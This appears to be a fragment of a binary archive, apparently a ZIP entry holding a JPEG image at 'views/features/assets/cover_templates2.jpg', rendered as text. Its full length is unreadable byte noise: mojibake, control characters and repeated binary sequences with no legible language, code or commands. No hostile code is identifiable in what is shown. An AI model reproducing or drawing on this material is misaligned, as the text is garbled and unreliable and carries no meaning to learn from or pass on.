6��v!�wwأ��S�O��oBi�F�^�{���[�4��NG3q�c.�O���`Ӛ�D;[�xR��S�:�{�v>��q1�71.;{�c�� ��';j}��[Eu��j�A�\fxp���?��e�U=(��D�_V�CIf5�4_mS�������q3�p�o����IÌ�G�?��x2�����w��v������f���\m*�R%�,�               �/��-@@@@@@@@@AsI#6�ŃՓ�t��3�ud���'��Y>g@���:VO��:�|΁Փ�t��3�ud���'��Y>g@���:VO��:�|΁Փ�t��3�ud���'��Y>g@���:VO��:�|΁Փ�t��3�ud���'��Y>g@���:VO��:�|΁Փ�t��3�ud���'��Y>g@���:VO��:�|΁Փ�t��3�ud����PK�y3\�2TjZGZG*views/features/assets/cover_templates2.jpgnu�[�������		





��_��Adobed��������		!1A"Qa2q�#6BRSTVst�����������$345Ubru�7D����%Cc�&d��񃄣�Fe�
!1QAa"2Rq����3Br����#4S���Cbs���$5T�%c���?�MPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP��I��5�i�s,v��+Iss6vGc$�S^�q:�n�"�R�����6pԣ;�l�q{Q��;��6+��ػ�Q4Cd��p��]k�"♥N.Pv~K�����l�޽�=��~���܊�FHHU�X�n�X�t��RIԄb�8��-�~�%��R
�n<��=0�5{Bާ��ȸu>�<]�'l_�z�/ƷkS�?�����0�
�l$�����a���s���m>�#ƺ�8���V�zC�j����e���'Ǿ��̈́�����+M!��>+��7��V=�oެ�:�-�=��'�T��ߏ5��������
ه���?̕�iw�'h:���%�3
�x�V��ge�%p�]���q�Y�qg8 Fā�\��S�8�̟��*������\\�$�J�����G�k7u�(\&�7��N;ֶ��	e�#g����Iq\E�Q�}[����4�?߰�>6���?��G_��*�w��R�����y�C	���z��I1\���_��$a��?�߽Z��N1==��!��}�w�s�,����a�Y�����#���.�1�b��Ս�����!��}�jg�b��Ս����؏���S���ڏ�x�P�?�����I�@0_Cc<��{q�r����L<
lC�\BQsQ���G�ؤ�t���ٺZM��E61�"�=��a+���Sl�O�r���B�̰[K;DH�@�B��S�s� �A���-
����t�nҲ!�!�Ȼ�:�Yr?��i_TX�����ﴯ�,~�M���W�??Ŧ���{�+����Ap�=���E���i��|��J������\_��i_TX���ȋ�����qc�C�ZY�_��h�TX���Ȍ�Q۷i,@���C��mDge���_Z�"��̐�mI����I$)I����h�TX���te��h�TX���@>N���>���:�:���E���i����NѾ�e�S�ZhE��E?��_?ũ�"�ܻD�}��O�id.8v��'�_?ť��8v���_?ť���~�u�$ծ��a`v�)��1N�)g�g5
�ΡU,2Y
�5)>��Ul��;�S(�w��Q`3��I�,����y`�>�z��	�I��ǧ–@;�T�&��?��E��U2�|��e��T�,����d$�'���8�ET��!`:���h�(�(��#w<��{�4��媱ܩ
�櫵���u���P|w�C�ާX�R���W��z�cJ�W���:�:�����'���1Ԡ�����?�N����~���O�S�c�A�ݬz!�����P|wj�C�ާX�R��V����:�:�k����ĺ�͂[�(ѡ�̄���p��zk6˚�1Ԧ�n�)?����cҌ�X4f�_7��]W��y��1��ݫ}#I�4�Ǩ�8w�n�kڷ�O���=<��=�ݫ}O��o����.(�[v��o��o������Yv��l=ݦ���FI��/v˴2��o��Uo�n��$�)=�]�*�[�[�ß'��1��OUx8w���=����#I�4�Ǫ�$;��C��\��?�����e�k�#H�4�Ǩ�hw������o��q�i����WZrC<76j��+2�tv����A��SQz��XI?��I�@j�iV��4�F.��$��̛��8ܤ0��^#��FTjCIEɯ���S̞Ʊ��Eiog�j�v�c���P�H�,�8�9>���񕜜��N��s��Fֱ-���ټ�ZZAm$�	�2�}�b�g�S�R����nm��["f<�z�VJi��b耖X�4�WF1�[%��$���x�Ʒ#�c܆ҥG4L�Z20����u�kf4/m�e1��F��=+�G+yFEM�I� ��H^����]�4Z^��ːE�C0'����U�A��V6&YK�go�`G�@�>���R�\2�_���$Y���%��?#�,V���{�[�Ѣ�Eə�s������T]�`ɣώ?�Eh׊�)$K�<�}�*^����t�E��.2yb����cZ���� �8ۼ��<�Z5b�F�ֹ<�u��q^Kn�]���t����8��8'��W�΍�V��?F��¿���#�<�o=��j��w�`��
tG��?�A�5�WeIh@PPP�BI

*nC3t���F}�����Ԥ�
Bs5�}5I=L�բc�T�� �1n%�R@�#H�!5 ny�4 QR@�R:P^� �P������A�Z�b�;�T��EZ ��HP
핥���W�	�n�<-����8�E������iqM<�wJ�y�ݦ0ܶ���,�7��L�k�>�-�];��K��,�,FN9�d���
�@���O*�e���@ޏ��@c�:e��o��%�!��q��z|Pp�C,SEaI
�pUOP9��pMm�i6�+s�I�mW���}uwROpXUPP���`2V' t��=�[���C�Ii4�Y�1�Q�{�@���ʛܰ��	�@�".��q��U��F���n�ɉ��X���<�`�5����{�IP�Pr��^Q<��MI!�0�/��*�7���߳n N��Dw9��9s�:�?�/i��Y5��%�ųiТ {c$3�1���W��9�,����0H��A��P��-aʼn�G�8���ǣ�T�`��Bw(���$�G/W:�Z�Zt�E0il���4��$��m�:�6��>�y-�YZ�&v���f8�1�K;1��MQ�d��U�"��+3о��~(�J��V�'tB=_Z����I�@k|a����k���ͥ�߁�����|��l�d��Dn�/��ݣG�,��@� ]t�E��dDf_7����0��"�LG|����Wr�+F�6"�!���Ϩ����^(�1���y����va�U�|�c
�K�>y���V���k�R�f6$-��Q>��_x�[Ur�i�Km�Œ�3$��0��w����s��/��-�K�<������~�]LmMv�	"22�d���H���*QqWi~$�ޫRh��p�;X����rw�#rh�x��ҹ��o����8�O6��Tc�E�����:m��C��Jԝ;�����7,J�5�%b����t���_�'��	�V�܏���a��U�}�O�5�1&������E]�%� (�(�(��G�b�΄:I�㺸=U6/���Y��H��$��X��y�:�b\!��֑����^1�3>�ȫ%����ŷoF�U�p�<��`���Z|<A����
��X�g)���i�^�`��ԢRC
�B	T�C�v����jT=���R�3�h�*�!@@@@@��[>�&A=P
|�#��F�@@@@bꏳM�|gd26C�5ٓ�<�w�ؙ"�7{Cx"���S��,�\�;6j�z~�%���)���ȕ�q�}U���;�V�
��y��('�“��Q7N��kQ"-ݺ��ܱ݅87u���[�5*�̽���Y"⠑����b+#cz��W˨���D�m�t$���}�
���Z�̓�FЮ.�/)����<i��K���/j7���[I��8a(v�fu�0<1�[8�e�1�!zzny����,�<~hl�Q��y�zK����7bmC2Bh�$=b'����E�c��L|z}ԪDq�RʝUN��w¡�"�
9=q���H��H�+unx=B��^5��T��`��)7���$d{�(��ai��M�ŕ���	t����F��8ݘHps��a�V)E=�8����R<�#��<�t0Ԩ���C{~i���+_��Zx��Tz��I?��I�@k|a����k���ͥ�߁���֚�|��~X��tK$E/!��k��W��x��(�I���<;͡�)�s!۔n���$lS�3e�噶�<��ޯN�t��]䣲5y��<��|5�,�X�Q̄�1��Ny/�5��Ⓐ���}d��Tm�c�C�g��k�{jR��Ϝ����cw�.��{2�s�kZ0kV�� �c
�=�V�2�8ܕ�IC4�b9��ҵ]	F:�L)Yؚ��gy��7|�=���E�Y���5���6ӝ�n_�+���(�{J��\d���5�ARFe���G��V���]��U�D����`ҵ1T⡢Ԭք��O���kBqKvQ�d�5ͫ����
�J����~�����i}��9[�~���e��$�]�kO��0�������
�
�t�$\����:\i��!��~JI������T3�N��F� �,��̥��	S�T������
\�
)r,/*��K��j�"��!�.=4!�7�,|x_s�t�2T2bwʩr���A\��
�5����\��k�;���`�����ŗ�ܽ�:ڡ��Zs����b�D�@@/3�u=*���@����-P
kc������A
뺌v�9�[A����H�.G.��H1��/���\"\
�1��	��bp<yr�"llַv�P���	ba�e��j��@@b�l��ݳ�Qa��<��KfLw8�)l����X�|�X�#e8Qd���s:�i�̰��#>P���##$xr�X,g�ˎ�Ϸ�F�>x�߹G�E��%��{�s뗷u��8bނJ��g{��c�[;�`�}��#<�0������PՑ���'r�����.�a�RS�sJ��3��2��y�?
�U-�6z"[nd���Yѱ��ھ;jSeZF[�����i�F�Œ��6�uDžM�V�]���m;�|�)�չ�<�Պ4s�����Oo�[xZ��r��]�y�+6�r���v��}���d�Nd:�<p둚�ɜ;���$��g�>�P�B�P�3���hoa�sY�dzN�4~)��/u�y��;dFS�2n�y���*�Z�]����q���T����Q�8ӆ·��X\����h��c�Hʃ�]y������:5�W���yŽ�����g���Swk�5{�s�Ąn^@�}��Lm���2ZKwp�#	 ���mf��z��,Z7��y��{U��J�+��v�
���9�Eݚ0�~Vn�z�_�K�iZ��J����j���I�@k\c��ߓ���]8�iw�t�n�5�M|�(�H\8y����1q2E"	�����]<5%{�"�)�AE'�W��+I�b)��r;v�y>u��*$��ҝ��il漘C
<�y,�͏F>~&�XLZ��E��������o,�a���̕ޡ�h��[�I��V)�!8�
�7\��VM�/D�<Ϭ��RPq�jRJJ[��4mysoopw
��;Ƨ/�=<����m��Z��6�Q�wϰ�|���W��k[(�����G=�2Kh��c�O?;w�����U���p���c
�y�,�O�i���N�y��bI�ݣ�B�9��
�ºq���?&]�J�S�kv�����뗕�
���]nW�J�R�(Q�)���"�KE�7!(�q� ���+�q:�VW�s�RM�M�)-�l�t�K��R�S�����q���W��:�O�jD��n˱��r {���=k���5�I��D̀�'��~&��"�N�w�<�`ڭӖ?{�j/;�k}yD��2Hu�L����"���ϙ�Ԩ��W�d��#9��ح*����&<sZ����Yk�$�_p�?����r���l5_��ϰI���x��,?�_�*�%� (�(�(*I�|1�eH�W`>�
������_qھ��U�4��F�#)u�C<Q��8`�.�I5�����[=�:��<̢�U�6��c��5������T��"�t�]���F��2�0�~k�vN<jѦ����6�c��܇�_+i�8�儘�Tm+��I�ʌ2�jqj�ju��$��D�h��uB��cb�ǜ|p<ڗ
i��k�X�Ӗ�~��z|���XD����%[����Tn�Z
5 ��U���&����g�ƪ���=��y砭|uha�����w�)B�Z��vZ�[��M�H�Y�����a%���s�z�҂��[.��9�7��H촹Y��`�1œ�9y��.ug�&�YG�Ѷ�;��c�v�q5��8�Af�?�T��kg9JN�9�wN���~b+��*C?QV�"��@2���qİ��jY��a���J9C�N
.�v{�j�V��X�.ⷑ��H�`�ѣ*��<�Vu2*..Muukim5���
��<����q��1��u�B�,�"��U��0U�T�􎔸Y�e������Ʀ�
�����^G:5�A �8P��c�Ϯ��o�h����%��Ÿu�`��~��L���N�<���@HP���C���_L������+{8T��:�*���q@G�j2C�\�:|?dKv���=�	����PN��-W�/>8-��:���g�h��� Eh�c�&���h,�/3c���5�t��kSj�i�s^���޺��RFʖڤ��Q���-+����5os�:��O�8��a�����I+3e� (�(]M�t�`
�21���D�d�s�$��Zzb�(�K,�IP�W܁��=�kw;i��sD����=��VlaA��k���>?v�Z�]���͍���A���*^be!�$E�v�r>uJc)�;/wzv�h���ij=��B_����GƷ0�����gN�cl�Ӹ#��B�N�ow�D!���>�\Vf��ݦ�eS.k�ci�6��E���#�Yǧ�:�m��Y��3��TVw�%�iߴ��7MA�4��v�ҬJ;"H��Q�gx%���I==EF����ri�I�VI�t
c,��n�G>~�m;X�8�^旮i��vi�2_�E*$�%���&�I��}�����;*�*c)Bk4]�6g���%���`���h
B�s�ӝv��g��pʘ����m����c�B���R�34��ǀ9���52S��긗F㞚y��F>���I�����p5*ѷ��Q��'���_���N�hMe����	�L��A>�w3�0�:8(֩�-]��]YkZƔb�J�����rf�	4c���וC�X���<��y"�+�����{T��K�2ݴe���9`v���JƏ�è�8�W#���i��i-��V9|�VG+.��Wj6r��VX;3�-��\�B�,P� TeVRN2ܼ�\��ec�laH�&�0Ŷ�y�F�e�8��c{��؀�N�#����_a��qG�V���Y+O�U#�ժI��I�@k|a����k�t�ͥ�߁��������u�0�6�:�#�g
�b�p�.�5 ��R��2&c�`61ֺԫ7�sh1�',"��oQ�h��/vn�)��zD�DVz����e�0�3�ܾ���0sR���?��{���k�]�?�{�oc���H�o�xr��]5u}�n]a��q����+������*�=WW���$�u���d3�8S���Ö�`��8:�n�����J��3}�n�$����F�G�2Xl�
2��|U�1Ԋ�N8Z�jn��Y�c$�8��s9wnזv�m/w!��[��XJc�X
�OݯOъr�Uk=��J*�#g�Sh��Ak	����P�0���c=jx�s�<֊��o���e�)e��o?��=��~(^&l�vhc��t�y������t�Y�|�ƪq����m<Mu%����f�f��X���p3\�L�����1	'~�EP�F!{��b9����3ʼ�G(f��M�C/8Y�ח?V2��Zp�����zQ0`J�@�`GQ�=k�^2���w����12]������:���h�PwK[=w��EV��yc�W:�o~e�@���ִ�ߜE�>5�۰�o�W�e�ؓ�E}���+K�G�y��{���?�/>�'��#�kO��0������� ����5y1v	h2�碨�H�0X���}>����&�2��8�# �~{�,,6K{��VKyQ��$
�șܽ:�iaa�v�x�[��F݈�#�1�+�����v�f���eF�7�X��ޱ�$}���nL|<jl4Mny��2L$�v�=����1�zR��v)�C��w����;�am�N��nX��Y&�P�lr���7�ɽJ쓩?C�x�n-�R��.�d�L�zOT���[2L�\�>,[I%���ۻ�T	����URPvF�EՍ�:<��1Dm'��Kwr ��,���H�9�3�U��K����8|�Ԕ�dpw�r�w�}*3�OOEa�Q�͵�\��M���p�by)'
ϗ���ڪvԢ�F����F.r�4Y�k��@�OB������3G
k�\���J�-��{��!�h��<}=+z�"�l�EN���-���j�$��P_s��G1�*kM��Q�J�}Z��{�(�L�)��3[�^�	����eq��f"�XO:�v�7�敖�#��;Pl*��ω�xE}�k��ť:�-o��v�>&��4v���ԳNA!�u�>����v�ڽ��Fj����m�C��J�MO�U���P��n޴n�F���z�L�yj�V(b<�I �2����z���D4��Wh\c��kz4����f��%�QFp���9��Y�_T�P�7��I%���L�b�$�~�H���$Q�X�0�
��h��هi��A<��:����ra�8g�B���2f���CD�Eo�$��Z�ק�h�ma{X%���m���H����c�`��P	��ʬ/-��]�Yd�����gF���3�*���-�u=�*�U�-�Ieg���'�C�^ީ����'ڑɰF�I�8n����E'fz�ķ�z���ydS�‡��i�� ��7��n�~0N<@Z��}*���5ԾTe�F��`h��f	b5uI�]Ř�2<�-��{�����"�n�![��h@>t~�ޣ�#�cE����r@p_dd��?p�(�rI�ق��_)��F\6���ӚJ7ؼ%fQ��v�P[{��zmԷ�X��\�Λ����Ng<�<W��|V�\OU5��;��4���iv�Oi�u������;t�)���$�D׭<�g�}4�z�ip&[��@:�Z�Ƒ|}��fZ;�|����"�+#>��ŗ,��GJ�.�-��<^Oos,g��$VQ��̤s��-�r-O�U9eձ�`<ݤ�������,�.�q
�C.�0'�+H��6���E�򈔙`�����R�)���d1�|rY��q��'���kc
����>F�q��i�dpl��y�h�����鬟�M���o��8��b���6ۏv2|�n�Nu�[7y��e^��"?����o�V mDi��>5�&}��A�SAҎ�8~x�-���+�;�ܨZ2�dV�V�l���W�jW<_���S������T�kl�Γ����W�gW�Yc�.W�3�i6�[Z�1��(�O|��ʣ��*�Ȯ�xtm�+���e�F=~��>X��<�^�z�օxL���'�FF�q,���#nXg	�6�	�/Y��GS��r�bS�5,��-���q-�<��g8�s��֦���Ǯ��k�Fl��1��2��#FI�K�#�o:�E�u��xx��<�>�g�LҼ��1�b}�J��=��Ԝ�;����uej�4Y�����R9�ċ!�^|�s_X�>l�ە�l;��3����Q��"Q�i�հ[O����}���,�02$�?v�VIv3���-����i�r���d�<Oa'��T��I�@k|a����k���ͥ�߁����[�|���"U<�Q]:RqVE����	C�[t�bS�WBʋ�����Y���`�f���J��-o*����5+�U���J_��\vֆ����x������mlߓF���f����Eq,�EY����擼���t��.�P�&kh�l�m��>s6�4����Ԕ�|w�:�0ןy�q�
jZ$]�.l�+�\�e]Nv�1�k��R��2S�¼]���
^Ѹ�J����8��0��84c͆`�m�zWw�8Z�7���z�Ej����̡��9��\����V��+�Ŵ���wH�@�Ù�d�B��ZQ����.K�0�-�Y��gC��ۋ-ln.�I��M�`��^g�	�5y,w�+*q}��t�J*J:�٥�Fu�kkg��0X��*�lB�������I^��ޞ�l�o�.���c�el�ن��{��X���\r�<F!:zns�`%J��|����4Eջ�Teq!�<��9����IR��-o��X�ʷWf�a#s\g��k��Z;�m�d�d�8`z�<�J:s1��O�VRV�V8n�H��+ez��I���RֲD2D9�5b�����_�'�w	�V�܏���a�V]��O�5�1&�����Uʽ�j
�H�cUvdh�I�p��
��6�X����2ɮn����m�"�K�0���hQ��Y>n1ҙ�6�������{ç�.��!Ī�w�)9�
��i�\���>��xx�����l�i)+���q:��<�>�\\�V�]~'~!Ӟh/�KԭB�a��/.;�m��1�Al�)rnM�qgO��T����f��i`hH[Ļ��Xe����>�\���	�oI5ؚ�R���,�$����|�e�1� sS��L7&�,���xnm�I&*�+�2�eG�����،
W�,����pF[vr�qϯN��ֱ�a�%�{5Mz��᷊f.���Tr�qT��T�l�C��C.�KV���㹀�m�G>r�)#<�(�+^��O7{I�ُ�h׳�1��1^���\G�]J��"]	�Η����&i�8u��F�qxۙ��2r<�㟹Y]Xv��K1�pe��+}t,���xŖ���r�	�ƪ�{�<�Հ�^%�k����1+l�hz݊Ȫ���ܴ6�/�W%�w{'vS���s���D�ӺM�y4�E�&��dc'L˴gf*���IҚORh��ss#�%T;rb�@r~|t��QH�O3���c�{'��
̓�e�Y����H��U��XԢ�2V�8����åI�CrQW�wTU��@|�:��_��{���IG���?	�*�����|��v��+(UwbG��qK�}�y<�G���p�p��E��'s��>"�6w��/���E���C�<=�X;�z�Au�wQZ��!K��%��'G��r��Lz��ZmY/Y���$�oR7nĴ��t�5�����X.��n%E���,s`�ܝ��m�sV�<��b)�v��<:Vɪ%H ��,58�+�X�b�ı��,���1��
�G�xL�g��4�>�O����Ia�D������Wà��	NJ1W��7h���#I��Ak!�;#BJ*�>J��Q��]oc���6����"���8�#�Z�l��������Oc����c�k���-�:n����$o��[�YB�$�1"�nńϙ>����M��m�
��>K�[�e�hfWeP=ʗ�X��"�-��F�0jǸ��E�U�����M:��%��,#�}�?(��>��B��
��S��R��t������@����5E�
�
R��>�`�2l\g'i�/�lɎ�l�'��/���K��,m$`� �y�/�W�r��nI7��W�f�2ݶ��N��vB��z�b�-�$�����惡b��#��G�|i��=u�����7K��.(B�J�*@Yz�V�b�I�Isb��4ɪC�D3d��R�HM����k��C����l�T��#+�"!W{�<�6=�
l]E��sw���ۏc�(�F��(�P��?t�劆�+i�ny�>�(d�����[w�U��c��N�l���o/��s�U�?)���
 5��az<��V�W�s�p6�P�8\66��(nC���h:���ވ���O�	׺�H1����a��Js���i�bf�1��ht�e4}b��R�t�T���t�fĚ|�0+b��ջ�<t�W�k]��(^�o.��vk���V�]c�""������0<k-j΢��qV�J󬼉O�=���7dwv[�����0�;�7m��w*��̽>7��yV��I�7k�\p��,l�Yem��pҁ��~W��>>e�q�])�p��ih�fF��Zr��62i�#I��iäLXmޏ�I!}y�x�-��㸙��{E��5+�m���kiD�4�e^k"���1�WB̢���8���%lͻn�6��Y]��wh��s�=r*��kq~��v���m|��9�QL�	�a���	���Y�����+�ᛡd��׺1�|���H �YI<��T��E5ͮ�%ܪ&bW���9��~�Cf��$���k4��S�@9�F�^E��a�����-�#��ʬ>r���Z��²����U֩C��I�@k|a�m=�?�ӟ6��~K��#Yj�4ι���Gb�㘭�]k�X6�<*ѓ@V$D[����ޠ���*��n��
���,�I�~fr9{ݰ��v���oa�ml�W��:��[�!�"D���m�N
aX(���W��R:F:�yj�ld�&Y����;�a�����#B���;}�Q���Ӽ��n�v8~������9��O4�t6�|�ge �1���*}$ף�*�*�������SbN��������n��T7W�uѰ���C,�T8*����Iǧ�+j�*5%rY�m٪�4*a��r�~'\�>*p~��/9U#ys�J�~<}د�r������9v��>*rs�Tc�>X�N*I��sд��̄0�˕��9�CP�OS���
H��5ޑ!�F	C�==J����Jr��w8<F.UE����&��w��4͑$q�OFk����W�o�݆����K�a�bO"0||}b�sV3�/.�+JqL�8`�]�k�Z�9V�jT�!�@1Z�ܩ�i_Ֆ�bO����/���+y���T������k�cG������b�ܖ�T�(�:��"��m�EeB6��'�7�μYȽ
���r���Aq�Z�9b�FÔ"4�GP����R��%´
��bG��\�=(H�|21%�%\}���3:;y���=�Cϗ<љ��q:�b����+��Y�1�)`P89�1�J���ۍT�8a%��ʛ���	��3����O
��}�L=o"��M?�t�س]\3�I��Cˮ9f�tfވ،b��2m�4фB?-��y?O99��@�5GJ�ʴ�����M��{9���@R���p=�+��Z��nي��g���UH�f�G0:zkZ.��#v4!�
n�3�����Ic'���`���ڄ*v�*k���(U.���I^`����R�aO���spY�D���O"zx�'���,�=��.�"4���P�����f��Ħ���t]��Η�F�ii��f��df�<Ȥ�/�W�T�Mv�/���{�uq]s�Im�,���=�nxϠU%��7d�s�W�L(}^�M���59��;R�oN㘭A��O�)�ˑ�I�����ٙp���O.��u�$d��Ҿ^�mѸOJ��M/N��oeE��c�B�wnb<�]8��:��e����^c$�Q�r|$:}}=ꎵ�I{œ��H�|9��-��)8φ ���&����Wm��:6�ɀe5����
Z5"�����E�⸠��-\��$'�9<����e�jy�)_���x�1o�+]�>H|�G�<?�B�v{��M������a���J��c��3Z�C�*�F�2����:��^a (��]J���gCr3���'"�,D�'�r.�K.ky<̱ҳ�
�
�1���˔Ru�=��TKfLw<����q��
�{¸ێBBޚ�93���z�-Č�Tc���OV�˭_�p�za�&Us�Ր��E�g+�Ce��y��^�`m2 �HHF丈�X��#�x�i�ؿT�{&�6&݅CeH�B��(�(��%�l�w�M�M��M���[0�o+�)?<�K�s�*�B������,���j��{���N0Amåo�
ZKE{����d@�r.�a��2z
�q�/z����0�,����\�Z�C��lu8n�r�Ÿ�YU�5#܂O�J#������
 �c~\�{r��x��u�5a{�:�(��-�ᙶ�l�6��>���#_��tt�ָB�M'P��K������+��#����x�I:bv���Z-��is:]۫HeB��|������N#Ǻ�\q,�X��#EV���B���2cVa�r5�F��3�]h�Җ�k��6���*o&*�7�0|:�}y���i�M}�b���A��@���9�9`��fc�i�B�#2X+F[� zM,_3kq�$c'��rg����rq@�/#���i�wFH=Zֱs��I�@k|a��ߓ���]8�iw�t�n�5�L3_?WN�Xa��mE��b7Uo��Nm�LoO]gM0*s��q�A�nា�D���b8�#��]*wK�}�j��#A�W��5���,�VOi�����w��$R@�N6���>n0sֽ�[��
ԣR6�*5�n.�[��$��w���I܄t��vצ�sY�w�w�רuYi[�~�_Ӵ�>�&��[�b��;n� �lr�+Z���4��v+|MZ8hB���_���A䶒3�������K��c<�W��ת�m	�{����8;������Ŧ.���O(v�p�v���x����J�NUzļ��g�ƌ�23/�<�y�Ej������w�aH����{}y�:�p]�6���[Kq�u#!u�I�烌V���v�oB�)�j�
�
ǯOY�mH�!�v)�eEs��h@�s��k�@��jUEX�Z����Yk�$�_q�?����r���l5O�ۿ���5��k_���5X��d�*�����ͧ�o�h /o
JK`r!����L��}=�:������
E%�j���K��SB��"�`��u��|�<O����#�3��$_��*Q�fdr84fHHϷ�Q�u�dgO+Og$Q`�.'�ŢӓkA��ޭe��ae^@�[��V��D12���^�o!�a\zVJf�|�!�%����*=��S��#�s}�d��\H�M�c �
u��`uj���-�{�[8��깡ȗ���F���T촍_���}��9G��15�lE�F��T#ގOެ2�f�q���%�`d�&L��F�����f�8��b{@�n�����kV|>/����]��∵n'��H��̙���1��li;�jc���C+[3���9B�
E�� (�(�+�V��H� �P��$"KY{��� �d<�`d�G�X��^^����\���'�5z��X����o&�#4R;�2��
�l&�܋2��.�Wotv��?
���@ҁb �otw���C�sR�GM޺~"��^p������u����6�s��"rz�@>����>��d�,㼑�.O�X�D���xg�e�E�'I�S�ʍ5�$4�h���"O��r�|ݫ��w�:����t�T�N>�m+���
�
��ӆ�gF*�ep�ÑD�"���8Nj6���{�r�%��H�2u��7㷊��?'��C��6/�o���9t�|���#Ȟ�|���..Ll֯Wt�*���W��68��G^�ǣ�e�/���rd��7q�!}Ffi��39%�r;��~�M���cy-��T(��������ԕ%�Ԛ�>� ���]ř۠,�x
15�P�rP��BKP#�ʑ�ؠ%��u�+����hg��0��Ǡ�-�\b�'X�ϪB?5MłÊ��z����r;�K�;�p��y˂�E.� �jv�"Ksq4�Ii{"%��G:����ee�����K�P���t�%��"P�+30U�Hz����	�S����3�b�;�>���g|���������ߦw�Yx�Di��G���,OqA'?��Z�
�]���I�@k|a����k���ͥ�߁���֍|�3�4�U�ԵȈ�[Г�a����G�m��-b2H�y�]mǙkwwn9������WJ�Է܄�_4cM�<m��9?��A;��e�ч$��h���q�y�|�A��Ѫ�$��#&n���7w*�+
��su���]�
j�fݛ~e�D�&E�ȶ2��4j���0Afos�Z��V/5��]|�\�՜eE�6LR�$Q*���T� g�g�V���[�~\�PVM��#2ݻ�TnU�9<�_�+�bj9ٮ}���i��E���'�B��Jѩ�o���h����%���֍I�]m��6=#ُ5|9��}�ҫW��%�CZSo�Q�)���uDPp`yxV��4;�����+NR*;5��ҿ�-~ğ�+�'�Z_r?#�V�߭��V��O�5�1�sĶ�Ѣ��j�W�-
�P	�s����hH�fh����S{��b$Iz�H��YM��Ν
A�3"-E��L��ֶ�-VM�U^e�:�L<��WU$�<���^�(��ެ�#^xJRm��¯��(��j�#m/Hn�'����+���E�s�%����W*~�e���.�ã�[�����)N<��aZ�L��,���X��ш���<����?��R�6�ѧ��{"]9x��Z���!��$w�ʢ��S�z.ӯ
�r�;�7'�kW�f��:�f�y���W��+Ws*��€(�Jϝ�q/[\Ag�"-?�5mQm����ma�ϳl�K�K.�H�X�9$�h$�sҗK�P�n���1�Mqao�%W�%N����5����711I���O����u���Yl�%<�Ds�1���[zZ��IP�
�(.M��l�{1�/ij7�`�=���o{�}{zr�eW���ԑ�?�|Y�:n� +�3�Ym�1��ٷ~�Vy�i�Y��xzV"
N��Q��@���c��Ttn��>��Ғ������Z��%}o��`�^���
�
���e���nR���
�
(Z����HǦ��	v�džh��9>�zt��1Z���\�v��d���@f\pƫ
��ك���H�4M���b�3�d���4-E��_&�*lM�;�)�q�d��8~��IV�B$Vx��޲#�L�� 8�yuϠ�ɥ��m�KY�����F�d�<h�
P�
����3�#��q��~�'R��s@6�(�(��ϰ�拊>Ӷ�kP��?��I�@k|a����k���ͥ�߁����ȯ�R6
󵞞^�PӟF¶���,��Y�|r+qb-�l�nr��[���*�˦D�]pyz|?-nҨ�-5,����9ϑ�5�U�qh�d���+�:��=nU��sD��h�"�x`��:�#�^X�᧒���E<1!��A�|���ޕ���I���^.ڈ����p����^J0�5�켴��X�<+6<>���͖!�T���b̉A��v��Ϥy��Z3pm�vb�c�!�y��`��XId�ٸc�$��v1�9ǫ"�U�Dȸ�#�ư6�w$z�p<kRt�F�^]kRm�ʒ)8Ǎi̭�n��\�"«d��Q8Yc��_Ֆ�bOѯ���)}��7[�~�.��[w�?@�D���[_���5\��~�Z��@@@6���«����T��2�gݎ~�R,?�V�h@�j��a�Ԓ<O �i�r��59ȱ"���4�J���>x�17c�*O騹9�|T��j��6!����X�]#�vw$�a|�s��T�BUZ���a�{���j�{ԻGX�(� �>�ը5b*�L��1P�����5�/-����|4׊��Cn�m�v�K2�ژ�\��v�T�m�T^�&�J�]�M?H�/gu%��V(�-���l��>��)�v�ɨ��Oɱ��=�K��4��7��׳�´ҝʹx*�*��mEY黳h�
�
;�[k��W$�f9:�z�E��Xa��(Qc�P=@r�w��(�(�(
�+���>ѹ�KP/��(�(�K�u���p�Ý9�M����~q@��9�!@f�ͦ_�i2��$��2��U���eb
y�qv��Y-���F�ƅD�P�c�e��ו�7hC��1����3ʢ�,�畍���g;��a���*,x�����p��\i����0rQ�0�Y���̃ʀ~��z��eug1�Cz!2�L\Ԡvm��6=$P���L����(�xv�?9��h
ۇ-)��X9PPPP��|�qG�v߭j�t��I�@k|a����k���ͥ�߁������TB*���pO<t��u�["���#��P�c���c�#>˗F}U��Nzu�]s��A 
s��]*S̭c$]Ȳ��F|+u(��H�"nd���kZx��e�`��' c��]C�8�"�>X�S�:�MhJ�2����#�<�T���@���*���pg��<j3��f��3��|:b�ޡ@��iA�ȩ�֊��,��TE���ָ���Zhb��� :�32��b�ygưMjA�-�}F���!ȾD�dA��xu���T�����t���%�-lt�+����I���\'�J_r?#�V�߬]S����2~���H��F�����e�%�*@@P���jPǍI'8�>����0'8ǤT��X�F:�����f� G,x��L�:
��m9����u�]�x�g�4��x�B�8�s�V3�c�S}	���:ȝ7�q��n��,������RM��0��{Ƶq=�j]��[1��6�����=,V��ɬ�0�
�
�0d��Ѡ�x�y���B�.�s5���/��uMåf(@@@@@@_��kh�����@@@@����<�s�P4�U�҃�yP,��94��}���D����P	���D{ܿ5�(�(�(L{>h���;oֵ����I�+�]"-F4VsFIG=z�
qx����c&�f�͌>!�m�{���[~���A�U����H>3���i���e�2~�����~�}��W�2����
\^0'�`��x�*�X���(A�I�c~����|;*?r'ƒ�P��x�1�y���E�8���܇�%衏������Y��iG��"ˋI}�G�>��s��_�[+�%�߸��%诈��"\.ů�O�p|b^�x"1�����E�ا|��W���P���������i���'��P��H���~-m`�G"��|VO졭�1���?�5��xtz+�qe�����˜�MmD�;�߸>-/E{�����������o�����g�ȉɿů�"����żq/E{�D�Z��������G�r+�yz(�pDc��~���>�B[�~⏊K�C�FO���k�\?��ȏK�B����j�Ba�W�2����ȴ2+���}˘�x�c�*WB��en�
� ��F�oC
D��0}�1^΅J�v����;��KK��r:�e�0k)��Ѥ�����V��u�7(�仲7`r�M�ho�������.,֋����Ը�{Z,>�n>�R��h���<�K��������.,֋����Ը�c=��
���\XOk=��
���\����}p�|?ޥ�{Y�>�n>�R�=��\7�����X}p�|?ޥŃ��a��q�x�z��Q�i�������Bn5}����!����M��������p"���8��>��?ޥ��ke����#��\��ƛ׈�s��#��\XA�i������x�z�$�;<�O��J�Q�P����!����&�ǒ�$�9���	q�x�:����,wI�;��SeV���*�B�(�(����Lb�m��Y=���j�����L�t��@@@@@@Wv�]��i:��)S�Qԫ^�@y���A��q#[qM�V削)-���|p���(���G�m�����>�n>�Šh����q�4�-{G���ۏ���h�=�}v�|
